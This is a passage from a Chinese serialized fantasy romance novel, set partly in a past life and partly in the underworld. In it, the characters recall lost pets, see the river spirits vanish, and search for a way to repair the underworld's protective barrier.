“必安说让我先带你来这里。”谢母推开房门,即便到这时,看见屋里一切如常的陈设也总还让人觉得必安还在。
谢母终究还是有些撑不住了,声音颤抖着,“桌上有他留给你的东西,你去看看吧。你放心,他们发豌豆疮都在阿福那个屋里,这屋我们也熏过药,很干净。”
沈自珩点点头走到桌边,就见桌上放着一个竹篮,篮子里是一把藤条,一小包种子和一张纸。
纸上写着:「该花种与前庭所种同属一类,然闻颜色各异,不妨一试。」他拿起种子揣进怀里,又拿起藤条看了看,每根都十分光滑,想必是用心打磨了。
“伯母,我该去看看必安。”沈自珩将东西收好,对谢母说,“还有,这两日若是方便的话,您让我住在这儿吧。”
谢母有些惊讶地抬头看他,最终点了点头:“好,我们走吧。”
谢必安落葬当天京城下了一场大雪。
沈自珩将腰间的布带系好,拿上小厮递上的柳木,同谢母说:“伯母,时辰到了。”
谢母点点头,一旁的侍女搀扶着她走到棺侧,递上一根木棒:“夫人,该您在棺椁上敲三下,好让少爷安心离去,敲完后咱们就得进屋了。”
棺在雪中停了许久,原本的黑色棺身已被一层薄雪裹住,只剩个方方正正的轮廓。
谢母没接木棒,只抬手拂去棺上的雪,轻拍了三下,而后将脸颊轻贴上去,发出一声极轻的呼唤。
“儿啊……”
“送完他之后我回到谢府,本想把藤条拿进宫里,编成了猫窝再给墨玉,但那时便找不到墨玉了。”沈自珩轻呼出一口气,将头靠在后面墙上,“之后墨玉再也没有出现过。”
说完他看着外面钻进谢必安怀里的灵猫,笑了笑说:“好在谢必安不怪我。”
岑黎又轻轻靠回他肩膀,这么多年他依然将这些记得如此清楚,不知他究竟回忆了多少次,又责备了自己多少次。“猫狗都是有灵性的,墨玉自己要走,即便你将它关起来,终有一日它也还是要跑。”
“嗯,我知道。”他偏了偏头,用脸颊蹭了蹭她发顶。
“后来你便一直待在宫里了吗?”岑黎喊他,“王爷?”
沈自珩知她故意逗自己开心,配合地笑了两声:“也没有,后来我回了王府,直到皇兄寿辰才进宫贺寿。”
“贺寿?皇帝过寿是什么样的?你当时带了什么寿礼还记得吗?”岑黎好奇地问。
他沉吟片刻摇头道:“不记得了,只记得我抢了别人送的寿礼,是一只被关在笼子里的白色的小狐狸。”
“小狐狸不是很常见吗?因为它是白色才被作为寿礼的?”
“不,是因为据说吃下这只狐狸的心便可消除忧愁。”沈自珩眯起眼,声音也沉了下来,“送来寿礼的使臣想在寿宴上将它活剖,取心献给皇兄。”
42. 前尘多遗恨 六
“陛下,这只小东西是我们千辛万苦捕猎所得,据说得到它的心就可以消除忧愁,从此不再有烦心之事,今日我们将它献给您,希望陛下万寿无疆,福寿绵长。”使臣将铁笼放在地上,从腰间抽出匕首。
“慢着!”坐在一旁的沈自珩喝道,“你要做什么?”
使者看了看殿上,又看了一眼铁笼中的小东西,有些茫然:“我现在就将它的心剖出来献给陛下。”
铁笼被放到地上后,笼中的小狐狸便紧紧贴在笼边,时不时发出紧张的叫声。
沈自珩走到殿中看了它一眼,朝皇兄拱手道:“皇兄,今日是皇兄寿辰,臣弟本不该提无理的请求,只是现下臣弟实在想说,求皇兄莫怪。”
皇兄放下酒樽笑了笑:“你何时有过无理的请求,即便是有,又有何不可啊?但说无妨。”
“铁笼中这小兽看着像是小狐狸,不知皇兄可还记得臣弟小时候同皇兄讲的那个故事?”沈自珩一手虚握放在胸前,一手背在身后,看向殿上身着吉服的皇兄。
“你要如何?”皇兄瞧他一眼便笑了,这么多年了书生要救的还是狐狸啊。
沈自珩见皇兄笑了,便知此事能成,于是不再拐弯抹角,一手指着铁笼说:“这小狐狸我喜欢,皇兄将它赏赐给我吧。”
“送我的寿礼给你了,我便少了一份,你得补给我。”宴会结束,皇兄换了一身衣服后便直奔御花园来看被沈自珩抢走的小狐狸。
沈自珩趴在石桌上点点头:“皇兄想要什么?”
“我得了一块不错的玉料,剩下一点边角,不想浪费,你给我雕个什么小物件吧。”皇兄两手撑在膝盖上,凑到他面前,“手艺没有生疏吧?我瞧见你屋里多了不少手把件呢。”
“那你怎么不在那里头挑。”沈自珩毫不客气地一伸手,“料子呢?”
一旁的宫女将手里捧着的锦盒放在桌上。
他看了看锦盒,又抬脸看向皇兄。
“打开看看。”皇兄一抬下巴。
锦盒打开,里面放着一柄精雕细刻的白玉扇。沈自珩小心地将它拿起来,它竟还做成了扇片活动自如,平日里甚至可以用的扇子!
“这白玉扇太妙了!是谁做的?”沈自珩拿着扇子爱不释手,问这话时头都不抬,盯着白玉扇的眼神一刻都不离开。
皇兄看着他这反应毫不意外。
他这弟弟看着性子温吞,对什么事都无动于衷,但其实拗得很,喜欢的事能坚持很多年,喜欢的东西抢都抢不走,雕刻便是他的喜好之一。
“喜不喜欢?”皇兄将盒里的一小块玉料拿出来握在手中。
“喜欢!”沈自珩眼睛亮晶晶地看着皇兄,“给我吗?”
皇兄看着他,有些好笑地说:“不给你我拿过来做什么?这个也给你,你给我雕个东西出来。”他将那一小块玉料放进沈自珩手心,“随你雕什么。”
沈自珩一手拎着铁笼,一手抱着锦盒回了房中,整日对着玉料苦思冥想,小狐狸也每日趴在他旁边打盹儿,或是在门口追蜜蜂玩,偶尔它会撞上被风吹开的房门,沈自珩抬头看去时小狐狸已经晃了晃脑袋,又跑远了。
“皇兄!”
御书房的门被沈自珩猛地推开,没等皇兄震惊他这出格的举动,便被他抢了话,“我雕好了!现在送皇兄生辰礼不算迟吧?”
皇兄放下手中的笔,饶有兴致地看他:“你先给我看是什么。”
沈自珩将手里的锦布展开,手心里放着一块白玉雕成的环佩,环身圆润,上刻松柏纹,松枝遒劲,柏叶层叠,精细程度令人惊叹。
沈自珩将玉佩放在皇兄面前,邀功似的:“喜不喜欢?”
这玉佩他想好之后便马不停蹄地画了下来,连上头的松柏纹都改了又改,直到改得满意了才开始雕刻。
“喜欢,喜欢。雕这个累坏了吧,我让他们给你煮明目茶。”皇兄对这玉佩爱不释手,一直握在手中把玩着。
沈自珩摆摆手:“不累,茶就不喝了,小狐狸还等着呢。”说着他就要往外走,又被皇兄叫住。
“自珩,如今我瞧着你眉宇间舒展了不少,心境也松快了许多。”皇兄看着他,眼里满是欣慰,“很好。”
沈自珩回到房间,将门窗都打开了些,看着躺在地上翻肚皮晒太阳的小狐狸,忽然想到那日使臣说的话。
得到它的心就可以消解忧愁,当真如此吗?
“真有那么神奇的话,那它是神兽啊!”岑黎从他身边一骨碌爬起来,兴奋地说,“真的能消解忧愁吗?”
“虽然那时我确实心情好了许多,但……我不知道。”沈自珩说,“做完皇兄的玉佩后我回了一趟王府,没带上它,再回宫时,它已经不见了。”
谢必安裹着风雪从外面走进来,怀里抱着灵猫说了句:“和墨玉一样。”
见沈自珩看他一眼,他急忙补充道:“不是怪你,我只是想说它们都聪明得很,是去是留也不是我们说了就算的。”
岑黎表情严肃地冲他一点头:“刚刚我也是这么说的。”
沈自珩看着他们挤眉弄眼,偏过头抿着嘴偷偷笑了。
“类在外面等我们呢,出去吗?”谢必安朝门口指了指,岑黎顺着他的手看过去,类的大脑袋将木门顶开了一掌宽,从这个角度只能看见它的一只金色眸子和咧开的嘴。
岑黎扑哧一声笑了出来,过去将门拉开,类见只有她过来,索性一屁股坐在雪地里仰头望着她。
她跟着蹲下,看着它那双金色的没有一丝杂质的眸子,看得久了竟产生一种周围一切都变慢,逐渐静止的错觉。她蹭过去摸了摸它的脑袋,又揉了两下它的耳朵,见它舒服地眯起眼,岑黎轻笑一声:“你像猫一样,大猫。”
大雪在天色亮起的时候骤然停止,草地上的积雪很快便化成了一滩水渗进了泥土里。
类带着他们往出口走,灵猫在谢必安脚边亦步亦趋地跟着,沈自珩走在后面看着灵猫和谢必安亲近的样子,心中猜出了七八分。
他走到谢必安旁边,撞了一下他的肩膀说:“灵猫与你投缘。”
谢必安有些诧异地抬头,毕竟是多年老友,看到沈自珩的表情便知道他猜出来了。他有些无奈地摇摇头:“你猜到了吧,灵猫就是
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墨玉。”
沈自珩应了声:“这么多年你坚持不养灵宠,就是因为墨玉吧。”
“我当时捡了墨玉,以为能将它养得油光水滑,养成京城里最幸福的小猫,但没想到我连它的猫窝都没来得及做好。”谢必安弯腰把灵猫抱了起来,看它窝在怀里,“也许墨玉是找不到我,觉得我不要它所以才跑掉的。”
“既然它是灵猫,那上一世便也是。神兽比普通动物要聪明许多,我们一进来它就跟着你,现在还这样安心地窝在你怀里。”岑黎牵着类的耳朵凑过来,“七爷,你非要人给你这样掰开说清楚吗?”
谢必安先是被她吓了一跳,随即又被她身边的类吓了一跳。他收紧了胳膊,往旁边让了一步问:“你这是做什么,为什么拎着它耳朵?”
岑黎有些鄙夷地看着他:“我这是牵!牵着它耳朵而已,它都到我腰这么高了,牵耳朵又不疼,大惊小怪。”
类体型大,步子也大,原本是给他们带路,结果她一转头就只能看见它的尾巴尖。
“我要是不拦着,它这会儿已经在门口等我们了。”岑黎伸手一指前面越走越开阔的草地,“你能找到方向吗?”
谢必安看了看面前广阔得看不见边的草原,又看了看被乖乖牵着耳朵的类,讪讪地笑道:“你牵住了啊,别让它跑。”
“放心吧七爷。”岑黎又把话题绕了回来,“你真没想过要带墨玉回去吗?”她的记忆瓶是没找到,但如果七爷能找到前世的墨玉,那也算有收获啊!
墨玉窝在谢必安怀里打起了瞌睡,这画面与他们前世相处时最常出现的情景如出一辙,谢必安沉思许久,还是有些犹豫:“让墨玉选吧。它也许更喜欢留在这儿。”
岑黎不再多问,任由类带着他们往出口走去。他们从奈河桥下进来,如今看出口的方向却是完全相反了。
“不知道现在地府中是什么时辰了。”岑黎牵着类的耳朵的手揉了揉它的耳朵,惹得它挣扎出她的手猛地甩了甩头,又一歪脑袋凑了上来。
麦芽也是这样,被她揉耳朵会觉着痒痒,但躲开之后又会摇着尾巴主动蹭上来,也不知道究竟是喜欢还是不喜欢。
“麦芽,我们走。”孟婆冲着乖乖趴在桥边的麦芽招招手,随后向旁边的小鬼差交待着,“你在这儿守着,有来喝孟婆汤的就先扣下。”
原本乖乖听着的小鬼差瞪大了眼睛,他第一天来当差就要扣人?
孟婆没向平时那般对新来的小鬼差和颜悦色,只是有些焦急地探出半个身子看着桥下流淌过的河水。
“我要去阎王殿。”
小鬼差连忙应下,等孟婆带着那只狗走后,他走到方才孟婆站的那个位置往桥下看去。
奈河水依然源源不断地流淌着,不远处的奈河渡口却将船都停靠在岸边,站在船头的船夫正同他一样看着河水。
小鬼差扒着奈何桥的栏杆,又仔细地看了看奈河,终于发现今日的河水与往日究竟是哪里不同。
他一把拉过旁边正在巡查的鬼差,伸手指着干净无比的奈河惶恐地问:“你看看河里,是我眼睛有问题吗?怨灵呢?”
43. 冥府失序,幽魂难渡 一
奈河桥下的那一段河水是整个地府中最复杂的,原因无他,只因其中那些会吞噬魂魄的怨灵。往日里,摆渡船载魂过河时,只要船上有带着执念的鬼,行到河心船身就会往下沉。
这时怨灵便会从浑浊的水里钻出来,一拥而上将那魂魄撕咬吞噬,吃相邋遢得很,连带着它们常待的那河水都变得污浊,常年都泛着化不开的黑沉,连河底的石子都瞧不清。
可此时的河水清澈见底,甚至能看见一根发钗还嵌在河沙里,旁边还散着些细碎的、说不清是什么的东西。
小鬼差碰了碰身旁的巡查鬼使,声音里带着好奇:“大人,那底下是什么东西?还有旁边那些碎渣子,看起来像碎布啊?”
巡查鬼使随着他手指的方向看过去,仔细辨认了一番:“那个是发钗,旁边的是……”
桥头走来一名身穿墨色鬼差服,胸前有阎王殿标识的鬼差,他扫了两人一眼,又看向奈河:“怨灵的碎片。”
“这就是出口?辛苦你啦。”岑黎蹲下身抱住类,顺便狠狠摸了两把它背上的长毛,即便它一直待在记忆库中,但身上的毛发还是油光水滑的,手感也十分软和。
与此同时谢必安也轻轻拍了拍怀里的墨玉将它喊醒:“墨玉,我们要出去了。”
墨玉打了个哈欠,轻巧地从他怀里跳了下去,又跳到类的背上给它舔毛。
谢必安环抱的双臂仍停留在半空,他看着墨玉,终究还是把话咽了回去,转头向沈自珩说:“你看,即便我想带它回去,它也是不愿意的。”
沈自珩瞧着趴在类背上的墨玉,那双碧绿色的眼睛盯着他们片刻便看向了别处。他一时也不知说什么,只能拍了拍谢必安的背。
“我们走吧,不知道地府中现在怎么样了。”谢必安回头看了看,语气像极了前世出门时的叮嘱,“墨玉,我走啦。”
阎王殿内弥漫着一股焦灼。
孟婆颇为头疼地揉了揉发胀的太阳穴,她怎么也想不到怨灵竟会融化在河水里:“今早突然发现的,原以为它们是去了别处,没想到竟成了碎片,识因还去上游瞧了瞧,也有零星的碎片,可能是逃过去的怨灵,但没想到出了奈何桥竟也会化成碎片。”
薛礼坐在满地的花中间,指尖捏着一片被他不小心揪下来的花瓣,脸色也有些难看:“奈河一直是你在管,以前可曾有过类似情况?”
孟婆抬手唤出虚空镜,镜面上记载着从奈河存在至今的所有事,密密麻麻的文字在镜面上滚动,她来时已经粗略翻过一遍,此刻再翻找也依旧没有半点关于怨灵消散的记录。
“从未有过,连半点征兆都没有。”
薛礼对着守在旁边的春生招手,让他将地府记录簿拿来:“看看可曾有类似的先例。”
在花中间到处嗅闻着的麦芽忽然停了动作向门口看去。
“府君。”岑黎率先迈步进殿,正要伸手摸摇着尾巴的麦芽,就见它迈着四条腿欢快地往后跑了,她跟着回头一看——春生养的小猪来了。
哦不是,它叫多福。多福也像麦芽似的甩了甩尾巴,一狗一猪你扑我我扑你地跑远了。
沈自珩跟在岑黎后面进了殿躬身行礼:“府君。”
薛礼坐在地上看着他们,眼神中带着了然:“去过记忆库了?可找到想找的东西了?”
岑黎心中一惊,下意识看向沈自珩,却见他十分坦然地回道:“是,回来了,找到了谢必安前世养的猫。”
薛礼点点头,不再多问。春生拿着簿册从门外走进来,正想要将手中厚厚的一摞簿册递给薛礼,就见他指着沈自珩:“给他。”
沈自珩从春生手上接过,一瞟簿册上的名字便觉奇怪:“地府记录簿?需要它做什么?”
“你们从哪儿回来的?经过奈何桥了吗?”孟婆在一旁双手抱臂,紧皱着眉,语气中满是紧张。
岑黎愣了愣,如实答道:“我们从鬼门关回来的,没经过奈河啊。”
孟婆轻轻叹了口气,又将虚空镜召了出来,镜面上的画面一转,变成了此刻奈何桥的景象——平日里热闹的桥头此刻空荡荡的,只有那个小鬼差还兢兢业业地坐在桥上,时不时探头往河里看一眼,神色里满是不安。
她指着镜面,声音沉了下去:“怨灵没了。”
刚从记忆库出来的三人听她说完都有些摸不着头脑,凑到虚空镜前仔细看着。
“怨灵呢?去别的地方了?”
“那不是怨灵身上的破布吗?”
“奈河水居然这么清澈啊……”
岑黎和谢必安一人一句讨论着,沈自珩看着手上的簿册忽然明白了。
地府记录簿中记录着从地府建造之初到现在所有发生过的大事,由专人记录,每年一册,沈自珩手上的便是历年的簿册。
薛礼走过来从他手上拿走几本簿册一同翻看着,问他:“我记得你做过这事,由你执笔的那几年,你可还记得发生过什么,出现过类似情况吗?”
沈自珩皱着眉:“从未出现过。府君,这该怎么办?”
“渡口停摆,要渡河的魂魄先集中安置,要过奈何桥喝孟婆汤的也需安置,孟婆,现在的河水也没法熬孟婆汤了吧?”薛礼放了簿册,搬起花盆放在一旁花架上,又将花盆轻轻一转。
花架后凭空出现一道门。
薛礼对他们竖起手掌:“你们莫要进来了,在外面等我。”
他走进去很快便拿着一本厚厚的簿册出来,递给了岑黎:“小黎,你回去看看这个,看完之后来找我。”
“是,府君,那怨灵的事该怎么……”她抱着簿册思索着,地府中许多事都环环相扣,有一环出问题便十分棘手。
“没有怨灵,有执念的鬼便无法消除,若是放任他们同普通鬼魂一道走过地府进入轮回,怕是人间和地府都要乱套了。”
她的话还没说完,殿外忽然传来一阵凄厉的惨叫,那声音穿透门窗在殿内回荡着,让人听着心头一紧。
薛礼听着外面的声音,果断地下了令:“怕是已经乱了套。谢必安,你和春生识因出去看看,岑黎,你就在这儿看完它,有
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件事我要你去做。”
谢必安立刻应道:“是!”
“孟婆,”薛礼又转向孟婆,“我记得孟婆汤有许多配方,其中有一副写着可以用露水代替奈河水,虽功效差了些,但总比断了供应好。你现在就去熬汤,有什么需要的,直接喊殿上的人帮忙。”
孟婆点了点头,转身快步走了出去。
殿内只剩下岑黎和沈自珩,还有坐在花中间的薛礼。岑黎深吸一口气,小心翼翼地翻开手里的簿册,扉页上的字赫然映入眼帘:屏障之术。
镇妖塔内,伏在角落里的大风忽然将脑袋从翅膀下面抬了起来看了看四周。正是深夜,除昼伏夜出的凶兽外,其余的原本也都同它一样陷入深睡。
大风歪了歪脑袋,在细微的风声中听见了一声小兽的低吟,随后便是一阵细碎的、像是脚掌踩在草上碾压的声音。
声音很快消失,大风动了动翅膀站起身,在这层塔内走了一圈,重又找了个地方睡觉了。
谢必安将最后一个鬼推进拘魂使的牢房里,锁上了门。那鬼被躺在地上的鬼绊了个踉跄,抬腿对着他恶狠狠地踢了一跤后,又趴在门上对谢必安面目狰狞地喊着:“让我出去!为什么要关我!”
“休要喧哗!”谢必安手中的哭丧棒重击在地,发出一声带有震颤的嗡鸣,整座牢房都安静下来。
谢必安身着镶黑边的素白官袍转身走到牢房门口,犀利地扫视着这些带有执念的鬼魂,手中哭丧棒缠着的白绫无风自动,簌簌作响。
他开口警示,声音如沉雷自地下穿过,叫人不寒而栗:“将你们暂留在此处,是望诸位细细思考自己生前怀有的执念,现如今可否放下!执念若不除,便如枷锁加身,绝无踏入轮回之可能,更无重获新生之机。”
牢房中陷入死寂,无人敢再说出一个字。他又待了片刻,转身走了。
这些年他见过的鬼数不胜数,有执念的鬼算是最难对付的一类,他刚才只能算将他们暂且唬住了,等他们的那些念头重又浮上心头时,怕是又要大闹一场。
月色当空,谢必安往家的方向走着,正犹豫要不要去找沈自珩喝两杯,余光却瞥见了路边一小团黑影,像是蜷着的小动物。
谢必安心头猛地一跳,脚步瞬时顿住——他想起了墨玉总爱缩在暗处打盹的模样。可等他走近后再定睛细看,那不过是墙面上灯笼投下的一块歪斜影子,风吹过便晃悠悠散了。
他又想到墨玉脖颈处的那一道长长的疤痕,也不知究竟是怎么受伤的,是前世还是这一世,可转念又想起墨玉是灵猫,应当没有前世。
谢必安站在家门口停了脚步,狠狠拧起了眉,自言自语道:“也不知道究竟吃了多少苦……”
门被推开,月光洒在院中,而那片月色中央,赫然团着一个黑影。
“墨玉?”谢必安轻轻喊了一声,可话到嘴边,却被心口翻涌的情绪堵得发紧,只发出一丝微弱的气音。他索性蹲下,又喊了一声。
那黑影动了动,抬起头,一双碧绿色的眼睛朝他看去。
44. 冥府失序,幽魂难渡 二
看到那双眼睛的一瞬间谢必安便立刻觉得鼻酸。他努力克制着自己的情绪,慢慢地朝墨玉伸出手:“墨玉,来。”
墨玉打了个哈欠站起身往他的方向走过去,先是用头顶了顶他的手背,见他没反应,便轻巧地一跃跳进他怀里。
谢必安险些落下泪来,他抱起墨玉便往门外走,一边走一边嚷着:“墨玉回来了!”
岑黎坐在椅子上,一手在簿册纸张的边缘摩挲着,一手撑着额角,时不时还叹口气。站在一旁的沈自珩看了一会儿,往桌子上放了一杯茶。
“这一会儿听你叹气好几回了。”他将茶杯往她面前推了推,升腾的热气扑在脸上,让她有些舒服地眯起眼。
她端起茶杯抿了一口,花茶的清香在唇齿间萦绕着,她喟叹:“这茶真好喝,你泡茶的手艺真好。”
沈自珩轻笑着岔开这话题:“看了阎王给你的簿册,修复屏障之法你可想到了?”
岑黎立刻泄了气,哀嚎着向后靠在椅背上,又被硬邦邦的椅背硌得龇牙咧嘴。
“没有。屏障原就是各方鬼帝们倾注心血之作,数百年无毁坏,便也就没人去无故研究该如何将它修复好。甚至连阎王们都不知道屏障该怎么修。”
她又不自觉地往后靠去,这回靠在了一个软绵绵的东西上,她挪了挪,几乎将自己塞进了椅子里:“如果现在屏障没有坏,那我还能有充足的时间来研究怎么修复,可现在屏障已经有了破损。”
“你就得尽快修复它。”沈自珩的声音从头顶落下,扶着软枕的手轻轻一放,让她能舒舒服服地靠实。他抬手蹭了蹭她发顶,“府君把这事交予你,便是信你能办好。”
岑黎在椅中抬头,视线越过肩头往上瞧,才勉强对上沈自珩垂着的目光。即便逆着光也能看清他那双勾人的狐狸眼睛正温柔地看着她。
她眨了眨眼,嘴角勾起一抹浅淡却明亮的笑,话语的尾音有些小小的上扬:“我知道。”
岑黎随手拿过桌上的簿册翻着,这里面记载的内容大多是鬼帝筑起屏障的过程,及建成之初屏障抵挡住了地府外的兽群……除此之外,再无更多关于屏障的内容。
她看着沈自珩将茶壶放在桌上,忽然想到他说过的前世,还有那只小狐狸。她猛地坐直了,饶有兴致地问他:“沈自珩,你前世养的小狐狸有多大?全身雪白的那种吗?”
沈自珩听她猛地问起前世,愣了一瞬,抬手比划着:“这么大,比家养的猫大些,但很瘦,也并不是全身雪白,尾巴尖是黑色的……”他顿了顿,说道,“而且它应该不是狐狸。”
“不是狐狸?”
“我专门查过书,它的外形与狐并不相像,是它的大耳朵和大尾巴让外邦人觉得它是白狐一类的动物。后来我养了它,洗过澡梳理完毛之后,发现它的脸与狸更像,只是早就叫习惯了小狐狸,就一直这么叫了。”
岑黎点点头,又狠狠摇摇头:“不行,现在当务之急是研究如何修复这屏障,你来看,虽然册子里大部分都是记录当时的场景,但我总觉得还能找出点什么来,也许同年的其它册子里会有记载……要不问问地藏……”
正说着,门外传来一声喊:“沈自珩!”
岑黎撑着椅子扶手刚想站起来去开门,肩上就落下一只温热的手,那手在她肩上轻拍两下:“是谢必安来了,他自己会进来的,没事。”
果然,话音刚落书房门就被推开,岑黎看过去时谢必安还保持着一手抱着墨玉,一手推门的姿势,十分滑稽。
谢必安看见坐在书桌旁的岑黎有些惊奇地问:“小黎,你怎么在这儿?”
同时,岑黎腾地从椅子上站了起来,惊喜地喊:“墨玉!”
“原来那天我出去之后发生了这么多事啊。”谢必安把墨玉抱给岑黎,自己熟门熟路地搬了把椅子坐在旁边,又从茶盘里摸过个空茶杯,拎起茶壶斟了半杯,喝了两口后他咂了咂嘴,眉梢微微扬起,颇为满意地点点头,“不错啊老沈,泡茶的技术快赶上我了。”
沈自珩看了他一眼,难得的没与他呛声。“那些鬼怎么样了?”
“关在我那儿呢,只是不知道要关到什么时候。”谢必安抬起下巴看向桌上的那本簿册,“你俩研究出什么没?要我说屏障没修复好之前,那些鬼不能放出来。”
岑黎腿上趴着墨玉,她不敢做大动作,只能小心翼翼地伸手捏住簿册的一角将它拖到谢必安面前。“里面是记录当时场景的,我觉得没什么用……你帮着看看,能不能看出什么稀奇来。”
「地府之域,幽冥所聚,生灵万千。为御外邪、固安宁,五鬼帝共聚幽冥之巅,引阴司玄力,同筑屏障。此障如天幕垂落,覆于地府穹顶,流光隐现间含无尽威严。屏障既立,外可阻厉煞侵扰,内可护府中魂魄、精怪诸般生灵……
地府屏障,乃五鬼帝聚毕生玄力凝结筑就。初成之时,其形柔韧,通体泛着莹润光泽,似灵网悬于幽冥穹顶,交织得紧密坚韧,风过而丝不动,尽显稳固。
待三日夜流转,渐褪光华,通透无形,纵是凝神细看也难寻其踪,唯有触及,方能感知。」
“其形柔韧、光泽……灵网……”谢必安的指尖在纸上一点点划过,牙疼似的嘶了一声,“这说了好像没说。”
岑黎摸着墨玉的手停下了,听着谢必安读的这些,她隐约觉得有些熟悉。
“什么东西刚开始有光泽还柔韧,三日之后才会消失?”她脑中转得飞快,灵力筑成的屏障并不会像册子里写的那样三日后‘通透无形’,那必然是除了灵力之外还有其它的东西,共同筑成的屏障。
沈自珩也看着簿册上的字,读出了声:“似灵网悬于……”
灵网,岑黎盯着册子苦思冥想,她总觉得很快就能有些头绪了。
墨玉在岑黎腿上乖巧地趴着,碧绿的眼睛却是一直好奇地四处看着,谢必安瞧见了,开口道:“墨玉,看什么呢?”
闻言,
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岑黎低下头看向墨玉,就见它认真地盯着天花板阴角,眼睛一眨不眨,忽然,它的视线开始缓慢下移。她跟着它的视线看过去,却没寻见什么。
“看什么呢?”她问,“是看着墙角吗?”
谢必安的视线又落回册子上:“大概是有小虫之类的吧,猫嘛,对这些东西好奇得很。”
小虫?岑黎看向沈自珩调侃着:“你是不是好久没打扫了?下回再来不会四处挂着蛛网吧?”
沈自珩看向她的眼神里有些无奈:“是有几日没有打扫了,那也不至于挂蛛网。”
“小猫的视力真好啊,小虫啊蛛网啊它们都看得清楚。”岑黎瞧着墙角里,借着月光才能隐约看见一丝丝极细的银线,即便是很轻的微风都能使它剧烈地摇晃。“七爷,你进来之后门没关好,漏风,蛛网都被……”
蛛网!是蛛网!
岑黎抱着墨玉猛地站起来,木椅在地上发出刺耳的剐蹭声,她手忙脚乱地去扶要倒的椅子,手正好搭上沈自珩扶在椅背上的手。她又惊又急,一把将他的手攥住:“有可能是蛛网!柔韧、泛着光泽,巨大的网,会不会就是灵力和蛛网交织?有没有什么方法能做到?”
岑黎的手指攥得格外用力,不过片刻,被攥着的那只手便有些发麻,连指尖的知觉都淡了几分。他无奈地轻叹了口气喊她:“小黎,你先松开我。”
岑黎愣愣地看着他,只觉耳朵渐渐热了起来,听他又唤了一声,她才回过神来松开手:“喔……那、那个……”
“将灵力与蛛网交织的法子我没听过。”沈自珩扶正椅子,目光看向她,又看了看椅子示意她坐下。
他自己则是站在她身后,双手向前抵在她坐着的椅子两侧的扶手上,手臂微微弯曲,看上去像是将岑黎圈在身前。
随后他俯下身,带着沉香木气息的话音落在她耳畔,“明日,我陪你去找人问,行不行?”
岑黎攥着自己的手,稳了稳心神,在心里暗骂了一声狐狸精。
她转过头,飞快地瞟了一眼被谢必安关得严严实实的门,原本提起来的心往下落了落,却在望进他眼中时又提了起来。
夜色已深,皎白的月色透过窗,恰好落在沈自珩的脸上。他仍保持着那样的姿势,岑黎转过身来他也不躲,只偷偷翘起嘴角,疑问似的嗯了一声,上扬的尾音勾得她心尖发麻。
岑黎凑近瞧着他睫毛投下的阴影,轻笑了一声,声音像裹了厚厚一层糖:“时机不对。”
沈自珩悄悄红了耳朵,放在椅子上的手指也蜷缩起来。他瞧着岑黎的唇,像是刚沾了露水的花瓣。他问:“什么不对?”
岑黎的手搭在他肩上,将自己与他的距离拉开了些。没等他再问一遍,搭在他肩上的手便收了回去,又落在他的唇上,轻轻一压。
她用气声轻吐出一句有些懊恼的话:“时机不对……但也……”
她倾身上前,温热的呼吸裹挟着唇间的花香扑向他。
45. 冥府失序,幽魂难渡 三
沈自珩愣住了。那股气息扑来时他竟有些想落泪。
感觉到唇瓣只轻轻贴了一下便离开,他勾起嘴角看向面前笼在月光下的岑黎。
“不要看我。”岑黎红着耳朵,伸出手挡在他眼前,隔断了他盯着她的视线。他也不躲,嘴角的笑意更甚。
沈自珩伸手覆上她举在半空中的手,轻轻握住:“不早了,我送你回去,明日我们去找人问蛛网的事。”
说到正事,岑黎也顾不上害羞了,拿过旁边的簿册翻到最后给他看记录的日期。她轻轻皱着眉,想到一个合适的人选:“你觉得,去问地藏怎么样?地藏见多识广,虽不插手地府中其余事务,但了解的肯定比我们多。”
“你们想问什么?”地藏拍了拍趴在脚边蠢蠢欲动的谛听,叫它安分一点。
“地藏,有没有能吐出十分坚韧的蛛丝的蜘蛛?能织成网,有光泽,并且三日后会变得不易被发现。”昨晚回家之后岑黎又细细看了簿册,将其中关键的部分誊抄下来,她将誊抄的纸递给一旁的云昭。
云昭看了看,将纸放在地藏面前:“能有这样的蜘蛛?姐姐,你问这个蜘蛛是要做什么东西吗?”
岑黎看了看她,又看向沈自珩,心中还在犹豫究竟能不能将屏障的事告诉她,就听地藏淡淡地唤了一声云昭。
“云昭,你去将书阁里最后一个书架上,金色的那本书拿来。”地藏说。
云昭应了转身往书阁走,谛听瞧见了,站起身摇着尾巴跟了过去。
“谛听喜欢黏着云昭,平日总是跟着她。”地藏的声音极为温和,唇边绽开一抹极浅的笑,像映在静水之上的微光。
她指尖轻轻拂过膝上的经文,语气笃定,缓缓道:“你今日来问这些,是为了寻找修复地府屏障的法子吧。”
岑黎不再多说,点头应道:“是。”
地藏指着殿上的木椅:“坐吧,坐下说。”
“我虽不插手地府中其余事务,但若有大事发生,也知晓一二。当年鬼帝们共筑屏障时,我恰好在场,只是未能全程细看,许多细节记不太清,怕是要让你们失望了。”地藏的声音温和,话音刚落,便见云昭从书阁深处走来,手中捧着一本封皮陈旧的书。
那书看着颇有年头,封面上没有字迹,连装订的线都有些磨损。岑黎伸手接过,轻轻翻开第一页,便见里面的字迹带着几分潦草,笔画间透着仓促,像是书写者当时正急着记录,顾不上更多了。
“这本书记载了世间各处的奇珍异兽,习性与异能皆有提及,你拿去瞧瞧,或许能有几分帮助。”地藏指尖轻点着那本书道。
岑黎捧着书,指尖微微发紧,连耳坠都随着她激动的动作轻轻晃动,细碎的银辉在衣襟上闪了闪。她抬眼望向地藏,声音里藏不住急切:“多谢地藏!您还能再想起些关于屏障的其他事情吗?哪怕是一些小事也好。”
桌上的茶杯中升腾起最后一点热气,一只手将它端了起来,倒干净其中的茶水,重又放在桌上。
云昭执着茶壶给沈自珩添茶,一边小声地说着:“哥,姐姐看上去脸色不太好。”
沈自珩坐在岑黎对面看着她有些疲惫的神色,昨晚送她回去后虽叮嘱过她好好休息,但她大概是没听。“阎王给她的差事有些棘手,接下差事时她便紧张了。”
云昭点点头,将茶壶小心地放在桌上,生怕一点碰撞声都会打断岑黎与地藏的对话。她绕到沈自珩旁边坐下,轻叹了口气。
沈自珩微微偏了偏身子,端起茶杯问了句:“云大人呢?最近怎么一直没见到他?”
云昭却是又叹了口气,挺直的腰背垮了下来。她一手撑着下巴磕在桌上,语气里满是苦恼:“云师兄最近不舒服呢,一直待在房里,我也见不着他。”
“不舒服?找施永和啊?”
她摇摇头:“早就找施大人问过了,他说不是外因引起的,也没什么药可以用,只能硬生生捱着。”
“云昭。”沈自珩看向她,目光中带着几分试探,“你可知云大人的本名?”
